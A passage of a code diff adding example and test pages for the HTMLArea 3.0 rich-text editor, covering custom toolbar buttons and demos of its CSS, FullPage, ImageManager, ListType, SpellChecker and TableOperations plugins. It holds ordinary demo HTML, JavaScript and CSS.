+ cfg.toolbar.push(["linebreak", "my-hilite"]); // add the new button to the toolbar
+
+ // BEGIN: code that adds a custom button
+ // uncomment it to test
+ var cfg = editor.config; // this is the default configuration
+ /*
+ cfg.registerButton({
+ id : "my-hilite",
+ tooltip : "Highlight text",
+ image : "ed_custom.gif",
+ textMode : false,
+ action : function(editor) {
+ editor.surroundHTML("<span class=\"hilite\">", "</span>");
+ }
+ });
+ */
+
+function clickHandler(editor, buttonId) {
+ switch (buttonId) {
+ case "my-toc":
+ editor.insertHTML("<h1>Table Of Contents</h1>");
+ break;
+ case "my-date":
+ editor.insertHTML((new Date()).toString());
+ break;
+ case "my-bold":
+ editor.execCommand("bold");
+ editor.execCommand("italic");
+ break;
+ case "my-hilite":
+ editor.surroundHTML("<span class=\"hilite\">", "</span>");
+ break;
+ }
+};
+cfg.registerButton("my-toc", "Insert TOC", "ed_custom.gif", false, clickHandler);
+cfg.registerButton("my-date", "Insert date/time", "ed_custom.gif", false, clickHandler);
+cfg.registerButton("my-bold", "Toggle bold/italic", "ed_custom.gif", false, clickHandler);
+cfg.registerButton("my-hilite", "Hilite selection", "ed_custom.gif", false, clickHandler);
+
+cfg.registerButton("my-sample", "Class: sample", "ed_custom.gif", false,
+ function(editor) {
+ if (HTMLArea.is_ie) {
+ editor.insertHTML("<span class=\"sample\"> </span>");
+ var r = editor._doc.selection.createRange();
+ r.move("character", -2);
+ r.moveEnd("character", 2);
+ r.select();
+ } else { // Gecko/W3C compliant
+ var n = editor._doc.createElement("span");
+ n.className = "sample";
+ editor.insertNodeAtSelection(n);
+ var sel = editor._iframe.contentWindow.getSelection();
+ sel.removeAllRanges();
+ var r = editor._doc.createRange();
+ r.setStart(n, 0);
+ r.setEnd(n, 0);
+ sel.addRange(r);
+ }
+ }
+);
+
+
+ /*
+ cfg.registerButton("my-hilite", "Highlight text", "ed_custom.gif", false,
+ function(editor) {
+ editor.surroundHTML('<span class="hilite">', '</span>');
+ }
+ );
+ */
+ cfg.pageStyle = "body { background-color: #efd; } .hilite { background-color: yellow; } "+
+ ".sample { color: green; font-family: monospace; }";
+ cfg.toolbar.push(["linebreak", "my-toc", "my-date", "my-bold", "my-hilite", "my-sample"]); // add the new button to the toolbar
+ // END: code that adds a custom button
+
+ editor.generate();
+}
+function insertHTML() {
+ var html = prompt("Enter some HTML code here");
+ if (html) {
+ editor.insertHTML(html);
+ }
+}
+function highlight() {
+ editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+ customizing the editor. It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements. © <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003-2004.</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="20" cols="80">
+ <p>Here is some sample text: <b>bold</b>, <i>italic</i>, <u>underline</u>. </p>
+ <p align=center>Different fonts, sizes and colors (all in bold):</p>
+ <p><b>
+ <font face="arial" size="7" color="#000066">arial</font>,
+ <font face="courier new" size="6" color="#006600">courier new</font>,
+ <font face="georgia" size="5" color="#006666">georgia</font>,
+ <font face="tahoma" size="4" color="#660000">tahoma</font>,
+ <font face="times new roman" size="3" color="#660066">times new roman</font>,
+ <font face="verdana" size="2" color="#666600">verdana</font>,
+ <font face="tahoma" size="1" color="#666666">tahoma</font>
+ </b></p>
+ <p>Click on <a href="http://www.interactivetools.com/">this link</a> and then on the link button to the details ... OR ... select some text and click link to create a <b>new</b> link.</p>
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value=" submit " />
+<input type="button" name="ins" value=" insert html " onclick="return insertHTML();" />
+<input type="button" name="hil" value=" highlight text " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html>
+ <head>
+ <title>Test of CSS plugin</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <script type="text/javascript">
+ _editor_url = "../";
+ _editor_lang = "en";
+ </script>
+
+ <!-- load the main HTMLArea files -->
+ <script type="text/javascript" src="../htmlarea.js"></script>
+
+ <script type="text/javascript">
+ HTMLArea.loadPlugin("CSS");
+
+ function initDocument() {
+ var editor = new HTMLArea("editor");
+ editor.config.pageStyle = "@import url(custom.css);";
+ editor.registerPlugin(CSS, {
+ combos : [
+ { label: "Syntax",
+ // menu text // CSS class
+ options: { "None" : "",
+ "Code" : "code",
+ "String" : "string",
+ "Comment" : "comment",
+ "Variable name" : "variable-name",
+ "Type" : "type",
+ "Reference" : "reference",
+ "Preprocessor" : "preprocessor",
+ "Keyword" : "keyword",
+ "Function name" : "function-name",
+ "Html tag" : "html-tag",
+ "Html italic" : "html-helper-italic",
+ "Warning" : "warning",
+ "Html bold" : "html-helper-bold"
+ },
+ context: "pre"
+ },
+ { label: "Info",
+ options: { "None" : "",
+ "Quote" : "quote",
+ "Highlight" : "highlight",
+ "Deprecated" : "deprecated"
+ }
+ }
+ ]
+ });
+ editor.generate();
+ }
+ </script>
+
+ </head>
+
+ <body onload="initDocument()">
+ <h1>Test of FullPage plugin</h1>
+
+ <textarea id="editor" style="height: 30em; width: 100%;"
+><h1><tt>registerDropdown</tt></h1>
+
+<p>Here's some sample code that adds a dropdown to the toolbar. Go on, do
+ syntax highlighting on it ;-)</p>
+
+<pre>var the_options = {
+ "Keyword" : "keyword",
+ "Function name" : "function-name",
+ "String" : "string",
+ "Numeric" : "integer",
+ "Variable name" : "variable"
+};
+var css_class = {
+ id : "CSS-class",
+ tooltip : i18n["tooltip"],
+ options : the_options,
+ action : function(editor) { self.onSelect(editor, this); }
+};
+cfg.registerDropdown(css_class);
+toolbar[0].unshift(["CSS-class"]);</pre>
+
+<p>Easy, eh? ;-)</p></textarea>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Wed Oct 1 19:55:37 EEST 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:10:16 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+body { background-color: #234; color: #dd8; font-family: tahoma; font-size: 12px; }
+
+a:link, a:visited { color: #8cf; }
+a:hover { color: #ff8; }
+
+h1 { background-color: #456; color: #ff8; padding: 2px 5px; border: 1px solid; border-color: #678 #012 #012 #678; }
+
+/* syntax highlighting (used by the first combo defined for the CSS plugin) */
+
+pre { margin: 0px 1em; padding: 5px 1em; background-color: #000; border: 1px dotted #02d; border-left: 2px solid #04f; }
+.code { color: #f5deb3; }
+.string { color: #00ffff; }
+.comment { color: #8fbc8f; }
+.variable-name { color: #fa8072; }
+.type { color: #90ee90; font-weight: bold; }
+.reference { color: #ee82ee; }
+.preprocessor { color: #faf; }
+.keyword { color: #ffffff; font-weight: bold; }
+.function-name { color: #ace; }
+.html-tag { font-weight: bold; }
+.html-helper-italic { font-style: italic; }
+.warning { color: #ffa500; font-weight: bold; }
+.html-helper-bold { font-weight: bold; }
+
+/* info combo */
+
+.quote { font-style: italic; color: #ee9; }
+.highlight { background-color: yellow; color: #000; }
+.deprecated { text-decoration: line-through; color: #aaa; }
--- /dev/null
+<html>
+ <head>
+ <title>Test of FullPage plugin</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <script type="text/javascript">
+ _editor_url = "../";
+ _editor_lang = "en";
+ </script>
+
+ <!-- load the main HTMLArea files -->
+ <script type="text/javascript" src="../htmlarea.js"></script>
+
+ <script type="text/javascript">
+ HTMLArea.loadPlugin("FullPage");
+
+ function initDocument() {
+ var editor = new HTMLArea("editor");
+ editor.registerPlugin(FullPage);
+ editor.generate();
+ }
+ </script>
+
+ </head>
+
+ <body onload="initDocument()">
+ <h1>Test of FullPage plugin</h1>
+
+ <textarea id="editor" style="height: 30em; width: 100%;">
+ <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+ <html>
+ <head>
+ <title>FullPage plugin for HTMLArea</title>
+ <link rel="alternate stylesheet" href="http://dynarch.com/mishoo/css/dark.css" />
+ <link rel="stylesheet" href="http://dynarch.com/mishoo/css/cool-light.css" />
+ </head>
+ <body style="background-color: #ddddee; color: #000077;">
+ <table style="width:60%; height: 90%; margin: 2% auto 1% auto;" align="center" border="0" cellpadding="0" cellspacing="0">
+ <tr>
+ <td style="background-color: #ddeedd; border: 2px solid #002; height: 1.5em; padding: 2px; font: bold 24px Verdana;">
+ FullPage plugin
+ </td>
+ </tr>
+ <tr>
+ <td style="background-color: #fff; border: 1px solid #aab; padding: 1em 3em; font: 12px Verdana;">
+ <p>
+ This plugin enables one to edit a full HTML file in <a
+ href="http://dynarch.com/htmlarea/">HTMLArea</a>. This is not
+ normally possible with just the core editor since it only
+ retrieves the HTML inside the <code>body</code> tag.
+ </p>
+ <p>
+ It provides the ability to change the <code>DOCTYPE</code> of
+ the document, <code>body</code> <code>bgcolor</code> and
+ <code>fgcolor</code> attributes as well as to add additional
+ <code>link</code>-ed stylesheets. Cool, eh?
+ </p>
+ <p>
+ The development of this plugin was initiated and sponsored by
+ <a href="http://thycotic.com">Thycotic Software Ltd.</a>.
+ That's also cool, isn't it? ;-)
+ </p>
+ </td>
+ </tr>
+ </table>
+ </body>
+ </html>
+ </textarea>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Wed Oct 1 19:55:37 EEST 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:10:07 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- Configure the path to the editor. We make it relative now, so that the
+ example ZIP file will work anywhere, but please NOTE THAT it's better to
+ have it an absolute path, such as '/htmlarea/'. -->
+<script type="text/javascript">
+ _editor_url = "../";
+ _editor_lang = "en";
+</script>
+
+<!-- load the main HTMLArea file, this will take care of loading the CSS and
+ other required core scripts. -->
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<!-- load the plugins -->
+<script type="text/javascript">
+ // WARNING: using this interface to load plugin
+ // will _NOT_ work if plugins do not have the language
+ // loaded by HTMLArea.
+
+ // In other words, this function generates SCRIPT tags
+ // that load the plugin and the language file, based on the
+ // global variable HTMLArea.I18N.lang (defined in the lang file,
+ // in our case "lang/en.js" loaded above).
+
+ // If this lang file is not found the plugin will fail to
+ // load correctly and nothing will work.
+
+ HTMLArea.loadPlugin("TableOperations");
+ HTMLArea.loadPlugin("SpellChecker");
+ HTMLArea.loadPlugin("FullPage");
+ HTMLArea.loadPlugin("CSS");
+ HTMLArea.loadPlugin("ContextMenu");
+ HTMLArea.loadPlugin("HtmlTidy");
+ HTMLArea.loadPlugin("ListType");
+</script>
+
+<style type="text/css">
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+var editor = null;
+function initEditor() {
+
+ // create an editor for the "ta" textbox
+ editor = new HTMLArea("ta");
+
+ // register the FullPage plugin
+ editor.registerPlugin(FullPage);
+
+ // register the SpellChecker plugin
+ editor.registerPlugin(TableOperations);
+
+ // register the SpellChecker plugin
+ editor.registerPlugin(SpellChecker);
+
+ // register the HtmlTidy plugin
+ editor.registerPlugin(HtmlTidy);
+
+ // register the ListType plugin
+ editor.registerPlugin(ListType);
+
+ // register the CSS plugin
+ editor.registerPlugin(CSS, {
+ combos : [
+ { label: "Syntax:",
+ // menu text // CSS class
+ options: { "None" : "",
+ "Code" : "code",
+ "String" : "string",
+ "Comment" : "comment",
+ "Variable name" : "variable-name",
+ "Type" : "type",
+ "Reference" : "reference",
+ "Preprocessor" : "preprocessor",
+ "Keyword" : "keyword",
+ "Function name" : "function-name",
+ "Html tag" : "html-tag",
+ "Html italic" : "html-helper-italic",
+ "Warning" : "warning",
+ "Html bold" : "html-helper-bold"
+ },
+ context: "pre"
+ },
+ { label: "Info:",
+ options: { "None" : "",
+ "Quote" : "quote",
+ "Highlight" : "highlight",
+ "Deprecated" : "deprecated"
+ }
+ }
+ ]
+ });
+
+ // add a contextual menu
+ editor.registerPlugin("ContextMenu");
+
+ // load the stylesheet used by our CSS plugin configuration
+ editor.config.pageStyle = "@import url(custom.css);";
+
+ setTimeout(function() {
+ editor.generate();
+ }, 500);
+ return false;
+}
+
+function insertHTML() {
+ var html = prompt("Enter some HTML code here");
+ if (html) {
+ editor.insertHTML(html);
+ }
+}
+function highlight() {
+ editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+ customizing the editor. It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements. © <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003-2004.</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html>
+
+<head>
+<title>Passing parameters to JavaScript code</title>
+<link rel="stylesheet" href="custom.css" />
+</head>
+
+<body>
+<h1>Passing parameters to JavaScript code</h1>
+
+<p>Sometimes we need to pass parameters to some JavaScript function that we
+wrote ourselves. But sometimes it's simply more convenient to include the
+parameter not in the function call, but in the affected HTML elements.
+Usually, all JavaScript calls affect some element, right? ;-)</p>
+
+<p>Well, here's an original way to do it. Or at least, I think it's
+original.</p>
+
+<h2>But first...</h2>
+
+<p>... an example. Why would I need such thing? I have a JS function that
+is called on <code>BODY</code> <code>onload</code> handler. This function
+tries to retrieve the element with the ID "conttoc" and, if present, it will
+<a href="toc.epl" title="Automatic TOC generation">generate an index</a>.
+The problem is, this function exists in some external JavaScript library
+that it's loaded in page. I only needed to pass the parameter from
+<em>one</em> page. Thus, it makes sense to pass the parameter from the HTML
+code on <em>that</em> page, not to affect the others.</p>
+
+<p>The first idea that came to me was to use some attribute, like "id" or
+"class". But "id" was locked already, it <em>had</em> to be "conttoc". Use
+"class"? It's not elegant.. what if I really wanted to give it a class, at
+some point?</p>
+
+<h2>The idea</h2>
+
+<p>So I thought: what are the HTML elements that do not affect the page
+rendering in any way? Well, comments. I mean, <em>comments</em>, HTML
+comments. You know, like <code>&lt;!-- this is a comment --&gt;</code>.</p>
+
+<p>Though comments do not normally affect the way browser renders the page,
+they are still parsed and are part of the DOM, as well as any other node.
+But this mean that we can access comments from JavaScript code, just like we
+access any other element, right? Which means that they <em>can</em> affect
+the way that page finally appears ;-)</p>
+
+<h2>The code</h2>
+
+<p>The main part was the idea. The code is simple ;-) Suppose we have the
+following HTML code:</p>
+
+<pre class="code"><span class="function-name">&lt;</span><span class="html-tag">div</span> <span class="variable-name">id=</span><span class="string">&quot;conttoc&quot;</span><span class="paren-face-match">&gt;</span><span class="function-name">&lt;</span><span class="html-tag">/div</span><span class="function-name">&gt;</span></pre>
+
+<p>and our function checks for the presence an element having the ID
+"conttoc", and generates a table of contents into it. Our code will also
+check if the "conttoc" element's first child is a comment node, and if so
+will parse additional parameters from there, for instance, a desired prefix
+for the links that are to be generated into it. Why did I need it? Because
+if the page uses a <code>&lt;base&gt;</code> element to specify the default
+link prefix, then links like "#gen1" generated by the <a href="toc.epl">toc
+generator</a> will not point to that same page as they should, but to the
+page reffered from <code>&lt;base&gt;</code>.</p>
+
+<p>So the HTML would now look like this:</p>
+
+<pre class="code"><span class="function-name">&lt;</span><span class="html-tag">div</span> <span class="variable-name">id=</span><span class="string">&quot;conttoc&quot;</span><span class="function-name">&gt;</span><span class="comment">&lt;!-- base:link/prefix.html --&gt;</span><span class="paren-face-match">&lt;</span><span class="html-tag">/div</span><span class="paren-face-match">&gt;</span></pre>
+
+<p>And our TOC generation function does something like this:</p>
+
+<pre class="code"><span class="keyword">var</span> <span class="variable-name">element</span> = getElementById(&quot;<span class="string">conttoc</span>&quot;);
+<span class="keyword">if</span> (element.firstChild &amp;&amp; element.firstChild.nodeType == 8) {
+ <span class="comment">// 8 means Node.COMMENT_NODE. We're using numeric values
+</span> <span class="comment">// because IE6 does not support constant names.
+</span> <span class="keyword">var</span> <span class="variable-name">parameters</span> = element.firstChild.data;
+ <span class="comment">// at this point &quot;parameters&quot; contains base:link/prefix.html
+</span> <span class="comment">// ...
+</span>}</pre>
+
+<p>So we retrieved the value passed to the script from the HTML code. This
+was the goal of this article.</p>
+
+<hr />
+<address><a href="http://students.infoiasi.ro/~mishoo/">Mihai Bazon</a></address>
+<!-- hhmts start --> Last modified on Thu Apr 3 20:34:17 2003
+<!-- hhmts end -->
+<!-- doc-lang: English -->
+</body>
+</html>
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value=" submit " />
+<input type="button" name="ins" value=" insert html " onclick="return insertHTML();" />
+<input type="button" name="hil" value=" highlight text " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+ <head>
+ <title>Test of Image Manager plugin</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <style type="text/css">
+ /*<![CDATA[*/
+ <!--
+ .textarea { height: 30em; width: 80%; }
+ -->
+ /*]]>*/
+ </style>
+ <script type="text/javascript">
+ //<![CDATA[
+ _editor_url = "../";
+ _editor_lang = "en";
+ //]]>
+ </script><!-- load the main HTMLArea file -->
+ <script type="text/javascript" src="../htmlarea.js">
+ </script>
+ <script type="text/javascript">
+ //<![CDATA[
+
+ HTMLArea.loadPlugin("ImageManager");
+ HTMLArea.loadPlugin("CSS");
+ HTMLArea.loadPlugin("ContextMenu");
+ initdocument = function () {
+ var editor = new HTMLArea("editor");
+
+ // add a contextual menu
+ editor.registerPlugin("ContextMenu");
+
+ // load the stylesheet used by our CSS plugin configuration
+ editor.config.pageStyle = "@import url(http://devsys/www.dioceseofgaylord.com/diocese.css);";
+
+ editor.generate();
+ }
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+ addEvent(window, 'load', initdocument);
+ //]]>
+ </script>
+ </head>
+ <body>
+ <h1>HTMLArea 3 RC1 + Image Manager + Image Editor</h1>
+ <p>PHP Image Manager, Image Editor for HTMLArea. Requires PHP, GD or NetPBM or
+ ImageMagick.</p>
+ <ul>
+ <li>Auto cache thumbnails (JPEG, PNG, GIF depending on GD).</li>
+ <li>Filmstrip view.</li>
+ <li>Online Image Editor.</li>
+ <li>Create folders (if permitting).</li>
+ <li>Editor - Resize, Crop, Rotate, Save as.</li>
+ </ul>
+ <div><textarea id="editor" class="textarea" rows="10" cols="40"></textarea></div>
+ <hr />
+ <address>
+ <a href="http://www.zhuo.org/htmlarea/" title="Home of the ImageManger+Editor">Xiang Wei Zhuo</a>
+ </address>
+ </body>
+</html>
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
+<html> <head>
+<title>HTMLArea examples index</title>
+</head>
+
+<body>
+<h1>HTMLArea: auto-generated examples index</h1>
+
+<ul>
+% while (<*.html>) {
+% next if /^index.html$/;
+ <li>
+ <a href="<% $_ %>"><% $_ %></a>
+ </li>
+% }
+</ul>
+
+<hr />
+<address>mishoo@infoiasi.ro</address>
+<!-- hhmts start --> Last modified: Sun Feb 1 13:30:39 EET 2004 <!-- hhmts end -->
+</body> </html>
+
+<%INIT>
+my $dir = $m->interp->comp_root;
+$dir =~ s{/+$}{}g;
+#$dir =~ s{/[^/]+$}{}g;
+$dir .= $m->current_comp->dir_path;
+chdir $dir;
+</%INIT>
--- /dev/null
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<title>Example of HTMLArea 3.0 -- ListType plugin</title>
+
+<script type="text/javascript">
+ _editor_lang = "en";
+ _editor_url = "../";
+</script>
+
+<!-- load the main HTMLArea files -->
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<style type="text/css">
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+// load the plugin files
+HTMLArea.loadPlugin("ListType");
+var editor = null;
+function initEditor() {
+ editor = new HTMLArea("ta");
+ editor.registerPlugin(ListType);
+ editor.generate();
+ return false;
+}
+</script>
+
+</head>
+
+<body onload="initEditor()">
+
+<h1>HTMLArea :: the ListType plugin</h1>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+
+<p>List style type is selected using the CSS property
+"list-style-type". Hopefully it will work with Internet Explorer,
+right? ;-) Let's start the monster to test it out.<br /></p><p>Cool, it
+works. Except for "lower-greek", which doesn't seem to be
+supported (and worse, a gross error message is displayed). Therefore, I
+hide that proerty from IE--it will only be available if the browser is not
+IE.<br /></p><ol style="list-style-type: decimal;"><li>This is a list<br
+/></li><li>with decimal numbers<br /></li><li>blah blah<br /></li><li>dolor
+sic amet<br /></li></ol><ol style="list-style-type: lower-greek;"><li>yet
+another</li><li>list with greek<br /></li><li>letters<br /></li><li>lorem
+ipsum<br /></li><li>yada yada<br /></li></ol>
+
+</textarea>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<files>
+ <file name="*.{js,html,css,cgi}" />
+ <file name="index.html" masonize="yes" />
+</files>
--- /dev/null
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- Configure the path to the editor. We make it relative now, so that the
+ example ZIP file will work anywhere, but please NOTE THAT it's better to
+ have it an absolute path, such as '/htmlarea/'. -->
+<script type="text/javascript">
+ _editor_lang = "en";
+ _editor_url = "../";
+</script>
+<!-- load the main HTMLArea files -->
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<style type="text/css">
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+HTMLArea.loadPlugin("SpellChecker");
+var editor = null;
+function initEditor() {
+ // create an editor for the "ta" textbox
+ editor = new HTMLArea("ta");
+
+ // register the SpellChecker plugin
+ editor.registerPlugin(SpellChecker);
+
+ editor.generate();
+ return false;
+}
+
+function insertHTML() {
+ var html = prompt("Enter some HTML code here");
+ if (html) {
+ editor.insertHTML(html);
+ }
+}
+function highlight() {
+ editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+ customizing the editor. It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements. © <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003-2004.</p>
+
+<p>Plugins:
+ <tt>SpellChecker</tt> (sponsored by <a
+ href="http://americanbible.org">American Bible Society</a>).
+</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+
+<h1>The <tt>SpellChecker</tt> plugin</h1>
+
+ <p>This file deminstrates the <tt>SpellChecker</tt> plugin of
+ HTMLArea. To inwoke the spell checkert you need to press the
+ <em>spell-check</em> buton in the toolbar.</p>
+
+ <p>The spell-checker uses a serverside script written in Perl. The
+ Perl script calls <a href="http://aspell.net">aspell</a> for any
+ word in the text and reports wordz that aren't found in the
+ dyctionari.</p>
+
+ <p>The document that yu are reading now <b>intentionaly</b> containes
+ some errorz, so that you have something to corect ;-)</p>
+
+ <p>Credits for the <tt>SpellChecker</tt> plugin go to:</p>
+
+ <ul>
+
+ <li><a href="http://aspell.net">Aspell</a> -- spell
+ checker</li>
+
+ <li>The <a href="http://perl.org">Perl</a> programming language</li>
+
+ <li><tt><a
+ href="http://cpan.org/modules/by-module/Text/Text-Aspell-0.02.readme">Text::Aspell</a></tt>
+ -- Perl interface to Aspell</li>
+
+ <li><a href="http://americanbible.org">American Bible Society</a> --
+ for sponsoring the <tt>SpellChecker</tt> plugin for
+ <tt>HTMLArea</tt></li>
+
+ <li><a href="http://dynarch.com/mishoo/">Your humble servant</a> for
+ implementing it ;-)</li>
+
+ </ul>
+
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value=" submit " />
+<input type="button" name="ins" value=" insert html " onclick="return insertHTML();" />
+<input type="button" name="hil" value=" highlight text " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- Configure the path to the editor. We make it relative now, so that the
+ example ZIP file will work anywhere, but please NOTE THAT it's better to
+ have it an absolute path, such as '/htmlarea/'. -->
+<script type="text/javascript">
+ _editor_lang = "en";
+ _editor_url = "../";
+</script>
+<!-- load the main HTMLArea files -->
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<style type="text/css">
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+// load the plugin files
+HTMLArea.loadPlugin("TableOperations");
+
+var editor = null;
+function initEditor() {
+ // create an editor for the "ta" textbox
+ editor = new HTMLArea("ta");
+
+ // register the TableOperations plugin with our editor
+ editor.registerPlugin(TableOperations);
+
+ editor.generate();
+ return false;
+}
+
+function insertHTML() {
+ var html = prompt("Enter some HTML code here");
+ if (html) {
+ editor.insertHTML(html);
+ }
+}
+function highlight() {
+ editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+ customizing the editor. It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements. © <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003-2004.</p>
+
+<p>Page that demonstrates the additional features of the
+<tt>TableOperations</tt> plugin (sponsored by <a
+href="http://www.bloki.com">Zapatec Inc.</a>).</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+
+<h1>Plugin: <tt>TableOperations</tt></h1>
+
+<p>This page exemplifies the table operations toolbar, provided by the
+TableOperations plugin.</p>
+
+<p>Following there is a table.</p>
+
+<table border="1" style="border: 2px solid rgb(255, 0, 0); width: 80%; background-image: none; border-collapse: collapse; color: rgb(153, 102, 0); background-color: rgb(255, 255, 51);" align="center" cellspacing="2" cellpadding="1" summary="">
+ <caption>This <span style="font-weight: bold;">is</span> a table</caption>
+ <tbody>
+ <tr style="border-style: none; background-image: none; background-color: rgb(255, 255, 153);" char="." align="left" valign="middle"> <td>1.1</td> <td>1.2</td> <td>1.3</td> <td>1.4</td> </tr>
+ <tr> <td>2.1</td> <td style="border: 1px solid rgb(51, 51, 255); background-image: none; background-color: rgb(102, 255, 255); color: rgb(0, 0, 51);" char="." align="left" valign="middle">2.2</td> <td>2.3</td> <td>2.4</td> </tr>
+ <tr> <td>3.1</td> <td>3.2</td> <td style="border: 2px dashed rgb(51, 204, 102); background-image: none; background-color: rgb(102, 255, 153); color: rgb(0, 51, 0);" char="." align="left" valign="middle">3.3</td> <td>3.4</td> </tr>
+ <tr> <td style="background-color: rgb(255, 204, 51);">4.1</td> <td style="background-color: rgb(255, 204, 51);">4.2</td> <td style="background-color: rgb(255, 204, 51);">4.3</td> <td style="background-color: rgb(255, 204, 51);">4.4</td> </tr>
+ </tbody>
+</table>
+
+<p>Text after the table</p>
+
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value=" submit " />
+<input type="button" name="ins" value=" insert html " onclick="return insertHTML();" />
+<input type="button" name="hil" value=" highlight text " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
